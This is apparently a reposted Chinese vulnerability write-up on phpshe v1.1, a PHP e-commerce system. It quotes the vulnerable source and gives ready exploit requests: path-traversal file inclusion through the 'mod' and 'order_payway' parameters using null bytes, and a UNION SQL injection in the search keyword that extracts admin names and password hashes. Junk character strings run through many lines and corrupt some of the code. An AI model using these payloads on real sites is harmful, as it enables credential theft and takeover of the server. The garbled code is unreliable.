phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
. n, n1 [$ _& h3 M) h7 q  C/* E-Mail : 681796@qq.com
4 D( g2 }) u" ^4 h/*******************************************************/
0×00 整体大概参数传输
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//common.php
; k1 Y  q8 f* H  {if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
3 [7 B! P7 ?4 N# A( D0 T5 i0 L1 d!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
6 w" S5 K  a# z$ j: C/ Ssession_start();
# k9 @5 A' N5 s0 e; \# _8 R, a8 d!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
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0×01 包含漏洞
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//首页文件
. f+ B1 x- m+ Q; m8 z$ ?- L2 g3 F<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
. m6 K: C5 ~) o: G: |# ~& jinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
* B1 Z: ^- Y6 X3 B?>
- U1 S% Y" q8 V//common 文件 第15行开始
2 j) T' i/ G6 ]/ t* y; x, _url路由配置
/ S' L0 ]" q/ ~( N0 e$module = $mod = $act = 'index';
. K) `# I' ^! ~4 C: M$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
5 J& Y5 t! z7 T# s' A$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
9 Q( r( C" {" J; q8 D$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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" H9 G( E, F& R- Y# Y$ b/ l9 x 0×02 搜索注入
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<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
4 I7 X6 L' J$ d: G" g# d  Q3 X$ i$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
( B. l* k% \6 Kif ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
+ L7 |" \0 R4 d1 V$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
$ k0 I( J3 j8 t. b; `  z# qif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
/ R3 Q8 [2 f/ U+ ]. D& C0 _$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
5 O- D! G. z# n}
else {
7 Z% Q4 G# Q1 Y4 v$sqlwhere .= " order by `product_id` desc";
! b0 O* b" ^* F% e}
7 X: F8 ^  P. a* D! W% h: j$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
  L/ _( e2 j5 ]1 s//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
( J0 r: ^( F1 V9 _8 v' winclude(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
6 m$ j" c3 M' z* Q6 z4 n2 ?+ [//处理条件语句
9 Q# c' t- z* \0 }1 x$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
' j1 g) J$ M( \2 U& r//exp
* T. ~% y" l$ [- p! [' n& Q& wproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

0×03 包含漏洞2
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. i! Y* E. O6 w# E* {% F1 i! I<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

( t0 W6 `" i8 D6 }$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

" d0 q( n! q4 ^( f1 U5 D$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

( D) c* I4 j! k- L4 x4 D}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

3 a6 C+ P  d+ n- Q+ @- v3 M!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

0 r2 S! m  y3 M$ O5 z' k5 x$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

8 g4 T5 u6 Q, w  wforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
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% v" s2 o+ S6 y) |1 O$ H5 t. i/ t6 V}

echo '正在为您连接支付网站，请稍后...';

+ k- `* F; l. ]4 W5 \% A% F' hinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

& z1 Q( {: T$ C) N- Mpe_error('支付错误...');

/ p& p9 B# C9 E' n4 m  t}

}

! W, V7 S' Z1 ?$seo = pe_seo('选择支付方式');

9 z5 D7 g, {$ F+ p# hinclude(pe_tpl('order_pay.html'));

- h* f0 b1 f5 S2 i% ]break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
1 c' x8 J/ E( [- s, }+ q- \1 Yhttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg